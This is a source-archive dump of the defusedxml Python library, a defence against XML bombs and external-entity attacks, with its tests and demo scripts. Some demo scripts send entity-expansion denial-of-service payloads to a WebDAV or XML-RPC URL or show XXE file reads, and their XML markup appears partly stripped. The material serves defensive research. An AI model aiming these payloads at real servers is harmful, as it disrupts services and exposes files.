class DefusedExpatBuilder(_ExpatBuilder):
"""Defused document builder"""
def __init__(
self, options=None, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
_ExpatBuilder.__init__(self, options)
self.forbid_dtd = forbid_dtd
self.forbid_entities = forbid_entities
self.forbid_external = forbid_external
def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
raise DTDForbidden(name, sysid, pubid)
def defused_entity_decl(
self, name, is_parameter_entity, value, base, sysid, pubid, notation_name
):
raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)
def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
# expat 1.2
raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name) # pragma: no cover
def defused_external_entity_ref_handler(self, context, base, sysid, pubid):
raise ExternalReferenceForbidden(context, base, sysid, pubid)
def install(self, parser):
_ExpatBuilder.install(self, parser)
if self.forbid_dtd:
parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
if self.forbid_entities:
# if self._options.entities:
parser.EntityDeclHandler = self.defused_entity_decl
parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
if self.forbid_external:
parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler
class DefusedExpatBuilderNS(_Namespaces, DefusedExpatBuilder):
"""Defused document builder that supports namespaces."""
def install(self, parser):
DefusedExpatBuilder.install(self, parser)
if self._options.namespace_declarations:
parser.StartNamespaceDeclHandler = self.start_namespace_decl_handler
def reset(self):
DefusedExpatBuilder.reset(self)
self._initNamespaces()
def parse(file, namespaces=True, forbid_dtd=False, forbid_entities=True, forbid_external=True):
"""Parse a document, returning the resulting Document node.
'file' may be either a file name or an open file object.
"""
if namespaces:
build_builder = DefusedExpatBuilderNS
else:
build_builder = DefusedExpatBuilder
builder = build_builder(
forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external
)
if isinstance(file, str):
fp = open(file, "rb")
try:
result = builder.parseFile(fp)
finally:
fp.close()
else:
result = builder.parseFile(file)
return result
def parseString(
string, namespaces=True, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
"""Parse a document from a string, returning the resulting
Document node.
"""
if namespaces:
build_builder = DefusedExpatBuilderNS
else:
build_builder = DefusedExpatBuilder
builder = build_builder(
forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external
)
return builder.parseString(string)
defusedxml-0.7.1/defusedxml/expatreader.py 0000664 0000000 0000000 00000004224 14021401470 0020670 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.sax.expatreader
"""
from __future__ import print_function, absolute_import
from xml.sax.expatreader import ExpatParser as _ExpatParser
from .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden
__origin__ = "xml.sax.expatreader"
class DefusedExpatParser(_ExpatParser):
"""Defused SAX driver for the pyexpat C module."""
def __init__(
self,
namespaceHandling=0,
bufsize=2 ** 16 - 20,
forbid_dtd=False,
forbid_entities=True,
forbid_external=True,
):
_ExpatParser.__init__(self, namespaceHandling, bufsize)
self.forbid_dtd = forbid_dtd
self.forbid_entities = forbid_entities
self.forbid_external = forbid_external
def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
raise DTDForbidden(name, sysid, pubid)
def defused_entity_decl(
self, name, is_parameter_entity, value, base, sysid, pubid, notation_name
):
raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)
def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
# expat 1.2
raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name) # pragma: no cover
def defused_external_entity_ref_handler(self, context, base, sysid, pubid):
raise ExternalReferenceForbidden(context, base, sysid, pubid)
def reset(self):
_ExpatParser.reset(self)
parser = self._parser
if self.forbid_dtd:
parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
if self.forbid_entities:
parser.EntityDeclHandler = self.defused_entity_decl
parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
if self.forbid_external:
parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler
def create_parser(*args, **kwargs):
return DefusedExpatParser(*args, **kwargs)
defusedxml-0.7.1/defusedxml/lxml.py 0000664 0000000 0000000 00000011514 14021401470 0017340 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""DEPRECATED Example code for lxml.etree protection
The code has NO protection against decompression bombs.
"""
from __future__ import print_function, absolute_import
import threading
import warnings
from lxml import etree as _etree
from .common import DTDForbidden, EntitiesForbidden, NotSupportedError
LXML3 = _etree.LXML_VERSION[0] >= 3
__origin__ = "lxml.etree"
tostring = _etree.tostring
warnings.warn(
"defusedxml.lxml is no longer supported and will be removed in a future release.",
category=DeprecationWarning,
stacklevel=2,
)
class RestrictedElement(_etree.ElementBase):
"""A restricted Element class that filters out instances of some classes"""
__slots__ = ()
# blacklist = (etree._Entity, etree._ProcessingInstruction, etree._Comment)
blacklist = _etree._Entity
def _filter(self, iterator):
blacklist = self.blacklist
for child in iterator:
if isinstance(child, blacklist):
continue
yield child
def __iter__(self):
iterator = super(RestrictedElement, self).__iter__()
return self._filter(iterator)
def iterchildren(self, tag=None, reversed=False):
iterator = super(RestrictedElement, self).iterchildren(tag=tag, reversed=reversed)
return self._filter(iterator)
def iter(self, tag=None, *tags):
iterator = super(RestrictedElement, self).iter(tag=tag, *tags)
return self._filter(iterator)
def iterdescendants(self, tag=None, *tags):
iterator = super(RestrictedElement, self).iterdescendants(tag=tag, *tags)
return self._filter(iterator)
def itersiblings(self, tag=None, preceding=False):
iterator = super(RestrictedElement, self).itersiblings(tag=tag, preceding=preceding)
return self._filter(iterator)
def getchildren(self):
iterator = super(RestrictedElement, self).__iter__()
return list(self._filter(iterator))
def getiterator(self, tag=None):
iterator = super(RestrictedElement, self).getiterator(tag)
return self._filter(iterator)
class GlobalParserTLS(threading.local):
"""Thread local context for custom parser instances"""
parser_config = {
"resolve_entities": False,
# 'remove_comments': True,
# 'remove_pis': True,
}
element_class = RestrictedElement
def createDefaultParser(self):
parser = _etree.XMLParser(**self.parser_config)
element_class = self.element_class
if self.element_class is not None:
lookup = _etree.ElementDefaultClassLookup(element=element_class)
parser.set_element_class_lookup(lookup)
return parser
def setDefaultParser(self, parser):
self._default_parser = parser
def getDefaultParser(self):
parser = getattr(self, "_default_parser", None)
if parser is None:
parser = self.createDefaultParser()
self.setDefaultParser(parser)
return parser
_parser_tls = GlobalParserTLS()
getDefaultParser = _parser_tls.getDefaultParser
def check_docinfo(elementtree, forbid_dtd=False, forbid_entities=True):
"""Check docinfo of an element tree for DTD and entity declarations
The check for entity declarations needs lxml 3 or newer. lxml 2.x does
not support dtd.iterentities().
"""
docinfo = elementtree.docinfo
if docinfo.doctype:
if forbid_dtd:
raise DTDForbidden(docinfo.doctype, docinfo.system_url, docinfo.public_id)
if forbid_entities and not LXML3:
# lxml < 3 has no iterentities()
raise NotSupportedError("Unable to check for entity declarations " "in lxml 2.x")
if forbid_entities:
for dtd in docinfo.internalDTD, docinfo.externalDTD:
if dtd is None:
continue
for entity in dtd.iterentities():
raise EntitiesForbidden(entity.name, entity.content, None, None, None, None)
def parse(source, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True):
if parser is None:
parser = getDefaultParser()
elementtree = _etree.parse(source, parser, base_url=base_url)
check_docinfo(elementtree, forbid_dtd, forbid_entities)
return elementtree
def fromstring(text, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True):
if parser is None:
parser = getDefaultParser()
rootelement = _etree.fromstring(text, parser, base_url=base_url)
elementtree = rootelement.getroottree()
check_docinfo(elementtree, forbid_dtd, forbid_entities)
return rootelement
XML = fromstring
def iterparse(*args, **kwargs):
raise NotSupportedError("defused lxml.etree.iterparse not available")
defusedxml-0.7.1/defusedxml/minidom.py 0000664 0000000 0000000 00000003534 14021401470 0020023 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.dom.minidom
"""
from __future__ import print_function, absolute_import
from xml.dom.minidom import _do_pulldom_parse
from . import expatbuilder as _expatbuilder
from . import pulldom as _pulldom
__origin__ = "xml.dom.minidom"
def parse(
file, parser=None, bufsize=None, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
"""Parse a file into a DOM by filename or file object."""
if parser is None and not bufsize:
return _expatbuilder.parse(
file,
forbid_dtd=forbid_dtd,
forbid_entities=forbid_entities,
forbid_external=forbid_external,
)
else:
return _do_pulldom_parse(
_pulldom.parse,
(file,),
{
"parser": parser,
"bufsize": bufsize,
"forbid_dtd": forbid_dtd,
"forbid_entities": forbid_entities,
"forbid_external": forbid_external,
},
)
def parseString(
string, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
"""Parse a file into a DOM from a string."""
if parser is None:
return _expatbuilder.parseString(
string,
forbid_dtd=forbid_dtd,
forbid_entities=forbid_entities,
forbid_external=forbid_external,
)
else:
return _do_pulldom_parse(
_pulldom.parseString,
(string,),
{
"parser": parser,
"forbid_dtd": forbid_dtd,
"forbid_entities": forbid_entities,
"forbid_external": forbid_external,
},
)
defusedxml-0.7.1/defusedxml/pulldom.py 0000664 0000000 0000000 00000002222 14021401470 0020034 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.dom.pulldom
"""
from __future__ import print_function, absolute_import
from xml.dom.pulldom import parse as _parse
from xml.dom.pulldom import parseString as _parseString
from .sax import make_parser
__origin__ = "xml.dom.pulldom"
def parse(
stream_or_string,
parser=None,
bufsize=None,
forbid_dtd=False,
forbid_entities=True,
forbid_external=True,
):
if parser is None:
parser = make_parser()
parser.forbid_dtd = forbid_dtd
parser.forbid_entities = forbid_entities
parser.forbid_external = forbid_external
return _parse(stream_or_string, parser, bufsize)
def parseString(
string, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
if parser is None:
parser = make_parser()
parser.forbid_dtd = forbid_dtd
parser.forbid_entities = forbid_entities
parser.forbid_external = forbid_external
return _parseString(string, parser)
defusedxml-0.7.1/defusedxml/sax.py 0000664 0000000 0000000 00000002705 14021401470 0017161 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.sax
"""
from __future__ import print_function, absolute_import
from xml.sax import InputSource as _InputSource
from xml.sax import ErrorHandler as _ErrorHandler
from . import expatreader
__origin__ = "xml.sax"
def parse(
source,
handler,
errorHandler=_ErrorHandler(),
forbid_dtd=False,
forbid_entities=True,
forbid_external=True,
):
parser = make_parser()
parser.setContentHandler(handler)
parser.setErrorHandler(errorHandler)
parser.forbid_dtd = forbid_dtd
parser.forbid_entities = forbid_entities
parser.forbid_external = forbid_external
parser.parse(source)
def parseString(
string,
handler,
errorHandler=_ErrorHandler(),
forbid_dtd=False,
forbid_entities=True,
forbid_external=True,
):
from io import BytesIO
if errorHandler is None:
errorHandler = _ErrorHandler()
parser = make_parser()
parser.setContentHandler(handler)
parser.setErrorHandler(errorHandler)
parser.forbid_dtd = forbid_dtd
parser.forbid_entities = forbid_entities
parser.forbid_external = forbid_external
inpsrc = _InputSource()
inpsrc.setByteStream(BytesIO(string))
parser.parse(inpsrc)
def make_parser(parser_list=[]):
return expatreader.create_parser()
defusedxml-0.7.1/defusedxml/xmlrpc.py 0000664 0000000 0000000 00000012364 14021401470 0017675 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xmlrpclib
Also defuses gzip bomb
"""
from __future__ import print_function, absolute_import
import io
from .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, PY3
if PY3:
__origin__ = "xmlrpc.client"
from xmlrpc.client import ExpatParser
from xmlrpc import client as xmlrpc_client
from xmlrpc import server as xmlrpc_server
from xmlrpc.client import gzip_decode as _orig_gzip_decode
from xmlrpc.client import GzipDecodedResponse as _OrigGzipDecodedResponse
else:
__origin__ = "xmlrpclib"
from xmlrpclib import ExpatParser
import xmlrpclib as xmlrpc_client
xmlrpc_server = None
from xmlrpclib import gzip_decode as _orig_gzip_decode
from xmlrpclib import GzipDecodedResponse as _OrigGzipDecodedResponse
try:
import gzip
except ImportError: # pragma: no cover
gzip = None
# Limit maximum request size to prevent resource exhaustion DoS
# Also used to limit maximum amount of gzip decoded data in order to prevent
# decompression bombs
# A value of -1 or smaller disables the limit
MAX_DATA = 30 * 1024 * 1024 # 30 MB
def defused_gzip_decode(data, limit=None):
"""gzip encoded data -> unencoded data
Decode data using the gzip content encoding as described in RFC 1952
"""
if not gzip: # pragma: no cover
raise NotImplementedError
if limit is None:
limit = MAX_DATA
f = io.BytesIO(data)
gzf = gzip.GzipFile(mode="rb", fileobj=f)
try:
if limit < 0: # no limit
decoded = gzf.read()
else:
decoded = gzf.read(limit + 1)
except IOError: # pragma: no cover
raise ValueError("invalid data")
f.close()
gzf.close()
if limit >= 0 and len(decoded) > limit:
raise ValueError("max gzipped payload length exceeded")
return decoded
class DefusedGzipDecodedResponse(gzip.GzipFile if gzip else object):
"""a file-like object to decode a response encoded with the gzip
method, as described in RFC 1952.
"""
def __init__(self, response, limit=None):
# response doesn't support tell() and read(), required by
# GzipFile
if not gzip: # pragma: no cover
raise NotImplementedError
self.limit = limit = limit if limit is not None else MAX_DATA
if limit < 0: # no limit
data = response.read()
self.readlength = None
else:
data = response.read(limit + 1)
self.readlength = 0
if limit >= 0 and len(data) > limit:
raise ValueError("max payload length exceeded")
self.stringio = io.BytesIO(data)
gzip.GzipFile.__init__(self, mode="rb", fileobj=self.stringio)
def read(self, n):
if self.limit >= 0:
left = self.limit - self.readlength
n = min(n, left + 1)
data = gzip.GzipFile.read(self, n)
self.readlength += len(data)
if self.readlength > self.limit:
raise ValueError("max payload length exceeded")
return data
else:
return gzip.GzipFile.read(self, n)
def close(self):
gzip.GzipFile.close(self)
self.stringio.close()
class DefusedExpatParser(ExpatParser):
def __init__(self, target, forbid_dtd=False, forbid_entities=True, forbid_external=True):
ExpatParser.__init__(self, target)
self.forbid_dtd = forbid_dtd
self.forbid_entities = forbid_entities
self.forbid_external = forbid_external
parser = self._parser
if self.forbid_dtd:
parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
if self.forbid_entities:
parser.EntityDeclHandler = self.defused_entity_decl
parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
if self.forbid_external:
parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler
def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
raise DTDForbidden(name, sysid, pubid)
def defused_entity_decl(
self, name, is_parameter_entity, value, base, sysid, pubid, notation_name
):
raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)
def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
# expat 1.2
raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name) # pragma: no cover
def defused_external_entity_ref_handler(self, context, base, sysid, pubid):
raise ExternalReferenceForbidden(context, base, sysid, pubid)
def monkey_patch():
xmlrpc_client.FastParser = DefusedExpatParser
xmlrpc_client.GzipDecodedResponse = DefusedGzipDecodedResponse
xmlrpc_client.gzip_decode = defused_gzip_decode
if xmlrpc_server:
xmlrpc_server.gzip_decode = defused_gzip_decode
def unmonkey_patch():
xmlrpc_client.FastParser = None
xmlrpc_client.GzipDecodedResponse = _OrigGzipDecodedResponse
xmlrpc_client.gzip_decode = _orig_gzip_decode
if xmlrpc_server:
xmlrpc_server.gzip_decode = _orig_gzip_decode
defusedxml-0.7.1/other/ 0000775 0000000 0000000 00000000000 14021401470 0014771 5 ustar 00root root 0000000 0000000 defusedxml-0.7.1/other/README.txt 0000664 0000000 0000000 00000000216 14021401470 0016466 0 ustar 00root root 0000000 0000000 This directory contains test and demo scripts for other frameworks and
languages. I used them to examine the characteristics of XML parsers.
defusedxml-0.7.1/other/exploit_webdav.py 0000775 0000000 0000000 00000001716 14021401470 0020367 0 ustar 00root root 0000000 0000000 #!/usr/bin/python
"""Demo exploit for WebDAV DoS attack
Author: Christian Heimes
"""
from __future__ import print_function
import sys
import base64
import urlparse
import httplib
if len(sys.argv) != 2:
sys.exit("{} http://user:password@host:port/".format(sys.argv[0]))
url = urlparse.urlparse(sys.argv[1])
xml = """
]>
QUAD
"""
xml = xml.replace("VALUE", "a" * 30000)
xml = xml.replace("QUAD", "&a;" * 1000)
headers = {"Content-Type": "text/xml", "Content-Length": len(xml), "Depth": 1}
if url.username:
auth = base64.b64encode(":".join((url.username, url.password)))
headers["Authorization"] = "Basic %s" % auth
con = httplib.HTTPConnection(url.hostname, int(url.port))
con.request("PROPFIND", url.path, body=xml, headers=headers)
res = con.getresponse()
print(res.read())
defusedxml-0.7.1/other/exploit_xmlrpc.py 0000775 0000000 0000000 00000001412 14021401470 0020415 0 ustar 00root root 0000000 0000000 #!/usr/bin/python
"""Demo exploit for XML-RPC DoS attack
Author: Christian Heimes
"""
from __future__ import print_function
import sys
import urllib2
if len(sys.argv) != 2:
sys.exit("{} url".format(sys.argv[0]))
url = sys.argv[1]
xml = """
]>
system.methodSignature
QUAD
"""
xml = xml.replace("VALUE", "a" * 100000)
xml = xml.replace("QUAD", "&a;" * 1000)
headers = {"Content-Type": "text/xml", "Content-Length": len(xml)}
req = urllib2.Request(url, data=xml, headers=headers)
print("Sending request to {}".format(url))
resp = urllib2.urlopen(req)
print("Response")
print(resp.read())
defusedxml-0.7.1/other/perl.pl 0000775 0000000 0000000 00000000226 14021401470 0016273 0 ustar 00root root 0000000 0000000 #!/usr/bin/perl
use XML::Simple;
use Data::Dumper;
$parser = new XML::Simple;
$xml = $parser->XMLin("$ARGV[0]");
$data = Dumper($xml);
print $data;
defusedxml-0.7.1/other/php.php 0000775 0000000 0000000 00000000467 14021401470 0016303 0 ustar 00root root 0000000 0000000 #!/usr/bin/php
defusedxml-0.7.1/other/python_external.py 0000775 0000000 0000000 00000003072 14021401470 0020573 0 ustar 00root root 0000000 0000000 #!/usr/bin/python
"""Demo exploit for external entity expansion
Author: Christian Heimes
"""
from __future__ import print_function
from xml.sax import ContentHandler
from xml.sax import parseString
xml_good = """Aachen"""
xml_bad_file = """
]>
&passwd;
"""
xml_bad_url = """
]>
&url;
"""
class WeatherHandler(ContentHandler):
def __init__(self):
ContentHandler.__init__(self)
self.tag = "unseen"
self.city = []
def startElement(self, name, attrs):
if name != "weather" or self.tag != "unseen":
raise ValueError(name)
self.tag = "processing"
def endElement(self, name):
self.tag = "seen"
self.city = "".join(self.city)
def characters(self, content):
if self.tag == "processing":
self.city.append(content)
def weatherResponse(xml):
handler = WeatherHandler()
parseString(xml, handler)
if handler.city == "Aachen":
return "The weather in %s is terrible.Unknown city %s" % handler.city[:500]
for xml in (xml_good, xml_bad_file, xml_bad_url):
print("\nREQUEST:\n--------")
print(xml)
print("\nRESPONSE:\n---------")
print(weatherResponse(xml))
print("")
defusedxml-0.7.1/other/python_genshi.py 0000775 0000000 0000000 00000000253 14021401470 0020224 0 ustar 00root root 0000000 0000000 #!/usr/bin/python
import sys
from pprint import pprint
from genshi.input import XMLParser
with open(sys.argv[1]) as f:
parser = XMLParser(f)
pprint(list(parser))
defusedxml-0.7.1/other/ruby-hpricot.rb 0000775 0000000 0000000 00000000134 14021401470 0017746 0 ustar 00root root 0000000 0000000 #!/usr/bin/ruby -w
require 'hpricot'
xml = File.read(ARGV[0])
doc = Hpricot(xml)
puts doc
defusedxml-0.7.1/other/ruby-libxml.rb 0000775 0000000 0000000 00000000417 14021401470 0017571 0 ustar 00root root 0000000 0000000 #!/usr/bin/ruby -w
require 'libxml'
include LibXML
class PostCallbacks
include XML::SaxParser::Callbacks
def on_start_element(element, attributes)
puts element
end
end
parser = XML::SaxParser.file(ARGV[0])
parser.callbacks = PostCallbacks.new
parser.parse
defusedxml-0.7.1/other/ruby-rexml.rb 0000775 0000000 0000000 00000000314 14021401470 0017425 0 ustar 00root root 0000000 0000000 #!/usr/bin/ruby -w
require "rexml/document"
xml = File.read(ARGV[0])
# REXML::Document.entity_expansion_limit = 1000
xmldoc = REXML::Document.new(xml)
data = xmldoc.root.text
#puts data.length
puts data
defusedxml-0.7.1/pyproject.toml 0000664 0000000 0000000 00000000172 14021401470 0016564 0 ustar 00root root 0000000 0000000 [tool.black]
line-length = 98
# black does not yet support py39
target-version = ['py27', 'py35', 'py36', 'py37', 'py38']
defusedxml-0.7.1/setup.cfg 0000664 0000000 0000000 00000000213 14021401470 0015465 0 ustar 00root root 0000000 0000000 [bdist_wheel]
universal = 1
[aliases]
packages = clean --all egg_info bdist_wheel sdist --format=gztar
release = packages register upload
defusedxml-0.7.1/setup.py 0000664 0000000 0000000 00000003644 14021401470 0015371 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
from __future__ import absolute_import
import sys
from distutils.core import Command
import subprocess
from setuptools import setup
import defusedxml
class PyTest(Command):
user_options = []
def initialize_options(self):
pass
def finalize_options(self):
pass
def run(self):
errno = subprocess.call([sys.executable, "tests.py"])
raise SystemExit(errno)
long_description = []
with open("README.txt") as f:
long_description.append(f.read())
with open("CHANGES.txt") as f:
long_description.append(f.read())
setup(
name="defusedxml",
version=defusedxml.__version__,
cmdclass={"test": PyTest},
packages=["defusedxml"],
author="Christian Heimes",
author_email="christian@python.org",
maintainer="Christian Heimes",
maintainer_email="christian@python.org",
url="https://github.com/tiran/defusedxml",
download_url="https://pypi.python.org/pypi/defusedxml",
keywords="xml bomb DoS",
platforms="all",
license="PSFL",
description="XML bomb protection for Python stdlib modules",
long_description="\n".join(long_description),
classifiers=[
"Development Status :: 5 - Production/Stable",
"Intended Audience :: Developers",
"License :: OSI Approved :: Python Software Foundation License",
"Natural Language :: English",
"Programming Language :: Python",
"Programming Language :: Python :: 2",
"Programming Language :: Python :: 2.7",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.5",
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: 3.9",
"Topic :: Text Processing :: Markup :: XML",
],
python_requires=">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*",
)
defusedxml-0.7.1/tests.py 0000664 0000000 0000000 00000045200 14021401470 0015365 0 ustar 00root root 0000000 0000000 from __future__ import print_function
import io
import os
import sys
import unittest
import warnings
from xml.etree import ElementTree as orig_elementtree
from xml.sax.saxutils import XMLGenerator
from xml.sax import SAXParseException
from pyexpat import ExpatError
from defusedxml import ElementTree, minidom, pulldom, sax, xmlrpc, expatreader
from defusedxml import defuse_stdlib
from defusedxml import (
DTDForbidden,
EntitiesForbidden,
ExternalReferenceForbidden,
NotSupportedError,
)
from defusedxml.common import PY3
if sys.version_info < (3, 7):
warnings.filterwarnings("once", category=DeprecationWarning)
with warnings.catch_warnings(record=True) as cetree_warnings:
from defusedxml import cElementTree
try:
import gzip
except ImportError:
gzip = None
try:
with warnings.catch_warnings(record=True) as lxml_warnings:
from defusedxml import lxml
from lxml.etree import XMLSyntaxError
LXML3 = lxml.LXML3
except ImportError:
lxml = None
XMLSyntaxError = None
LXML3 = False
lxml_warnings = None
warnings.filterwarnings("error", category=DeprecationWarning, module=r"defusedxml\..*")
HERE = os.path.dirname(os.path.abspath(__file__))
# prevent web access
# based on Debian's rules, Port 9 is discard
os.environ["http_proxy"] = "http://127.0.9.1:9"
os.environ["https_proxy"] = os.environ["http_proxy"]
os.environ["ftp_proxy"] = os.environ["http_proxy"]
class DefusedTestCase(unittest.TestCase):
if PY3:
content_binary = False
else:
content_binary = True
xml_dtd = os.path.join(HERE, "xmltestdata", "dtd.xml")
xml_external = os.path.join(HERE, "xmltestdata", "external.xml")
xml_external_file = os.path.join(HERE, "xmltestdata", "external_file.xml")
xml_quadratic = os.path.join(HERE, "xmltestdata", "quadratic.xml")
xml_simple = os.path.join(HERE, "xmltestdata", "simple.xml")
xml_simple_ns = os.path.join(HERE, "xmltestdata", "simple-ns.xml")
xml_bomb = os.path.join(HERE, "xmltestdata", "xmlbomb.xml")
xml_bomb2 = os.path.join(HERE, "xmltestdata", "xmlbomb2.xml")
xml_cyclic = os.path.join(HERE, "xmltestdata", "cyclic.xml")
def get_content(self, xmlfile):
mode = "rb" if self.content_binary else "r"
with io.open(xmlfile, mode) as f:
data = f.read()
return data
class BaseTests(DefusedTestCase):
module = None
dtd_external_ref = False
external_ref_exception = ExternalReferenceForbidden
cyclic_error = None
iterparse = None
def test_simple_parse(self):
self.parse(self.xml_simple)
self.parseString(self.get_content(self.xml_simple))
if self.iterparse:
self.iterparse(self.xml_simple)
def test_simple_parse_ns(self):
self.parse(self.xml_simple_ns)
self.parseString(self.get_content(self.xml_simple_ns))
if self.iterparse:
self.iterparse(self.xml_simple_ns)
def test_entities_forbidden(self):
self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb)
self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic)
self.assertRaises(EntitiesForbidden, self.parse, self.xml_external)
self.assertRaises(EntitiesForbidden, self.parseString, self.get_content(self.xml_bomb))
self.assertRaises(
EntitiesForbidden, self.parseString, self.get_content(self.xml_quadratic)
)
self.assertRaises(
EntitiesForbidden, self.parseString, self.get_content(self.xml_external)
)
if self.iterparse:
self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_bomb)
self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_quadratic)
self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_external)
def test_entity_cycle(self):
self.assertRaises(self.cyclic_error, self.parse, self.xml_cyclic, forbid_entities=False)
def test_dtd_forbidden(self):
self.assertRaises(DTDForbidden, self.parse, self.xml_bomb, forbid_dtd=True)
self.assertRaises(DTDForbidden, self.parse, self.xml_quadratic, forbid_dtd=True)
self.assertRaises(DTDForbidden, self.parse, self.xml_external, forbid_dtd=True)
self.assertRaises(DTDForbidden, self.parse, self.xml_dtd, forbid_dtd=True)
self.assertRaises(
DTDForbidden, self.parseString, self.get_content(self.xml_bomb), forbid_dtd=True
)
self.assertRaises(
DTDForbidden, self.parseString, self.get_content(self.xml_quadratic), forbid_dtd=True
)
self.assertRaises(
DTDForbidden, self.parseString, self.get_content(self.xml_external), forbid_dtd=True
)
self.assertRaises(
DTDForbidden, self.parseString, self.get_content(self.xml_dtd), forbid_dtd=True
)
if self.iterparse:
self.assertRaises(DTDForbidden, self.iterparse, self.xml_bomb, forbid_dtd=True)
self.assertRaises(DTDForbidden, self.iterparse, self.xml_quadratic, forbid_dtd=True)
self.assertRaises(DTDForbidden, self.iterparse, self.xml_external, forbid_dtd=True)
self.assertRaises(DTDForbidden, self.iterparse, self.xml_dtd, forbid_dtd=True)
def test_dtd_with_external_ref(self):
if self.dtd_external_ref:
self.assertRaises(self.external_ref_exception, self.parse, self.xml_dtd)
else:
self.parse(self.xml_dtd)
def test_external_ref(self):
self.assertRaises(
self.external_ref_exception, self.parse, self.xml_external, forbid_entities=False
)
def test_external_file_ref(self):
content = self.get_content(self.xml_external_file)
if isinstance(content, bytes):
here = HERE.encode(sys.getfilesystemencoding())
content = content.replace(b"/PATH/TO", here)
else:
content = content.replace("/PATH/TO", HERE)
self.assertRaises(
self.external_ref_exception, self.parseString, content, forbid_entities=False
)
def test_allow_expansion(self):
self.parse(self.xml_bomb2, forbid_entities=False)
self.parseString(self.get_content(self.xml_bomb2), forbid_entities=False)
class TestDefusedElementTree(BaseTests):
module = ElementTree
# etree doesn't do external ref lookup
# external_ref_exception = ElementTree.ParseError
cyclic_error = ElementTree.ParseError
def parse(self, xmlfile, **kwargs):
tree = self.module.parse(xmlfile, **kwargs)
return self.module.tostring(tree.getroot())
def parseString(self, xmlstring, **kwargs):
tree = self.module.fromstring(xmlstring, **kwargs)
return self.module.tostring(tree)
def iterparse(self, source, **kwargs):
return list(self.module.iterparse(source, **kwargs))
def test_html_arg(self):
with self.assertRaises(DeprecationWarning):
ElementTree.XMLParse(html=0)
with self.assertRaises(TypeError):
ElementTree.XMLParse(html=1)
def test_aliases(self):
parser = self.module.DefusedXMLParser
assert self.module.XMLTreeBuilder is parser
assert self.module.XMLParser is parser
assert self.module.XMLParse is parser
def test_import_order(self):
from xml.etree import ElementTree as second_elementtree
self.assertIs(orig_elementtree, second_elementtree)
def test_orig_parseerror(self):
# https://github.com/tiran/defusedxml/issues/63
self.assertIs(self.module.ParseError, orig_elementtree.ParseError)
try:
self.parseString("invalid")
except Exception as e:
self.assertIsInstance(e, orig_elementtree.ParseError)
self.assertIsInstance(e, self.module.ParseError)
class TestDefusedcElementTree(TestDefusedElementTree):
module = cElementTree
def test_celementtree_warnings(self):
self.assertTrue(cetree_warnings)
self.assertEqual(cetree_warnings[0].category, DeprecationWarning)
self.assertIn("tests.py", cetree_warnings[0].filename)
class TestDefusedMinidom(BaseTests):
module = minidom
cyclic_error = ExpatError
iterparse = None
def parse(self, xmlfile, **kwargs):
doc = self.module.parse(xmlfile, **kwargs)
return doc.toxml()
def parseString(self, xmlstring, **kwargs):
doc = self.module.parseString(xmlstring, **kwargs)
return doc.toxml()
class TestDefusedMinidomWithParser(TestDefusedMinidom):
cyclic_error = SAXParseException
dtd_external_ref = True
def parse(self, xmlfile, **kwargs):
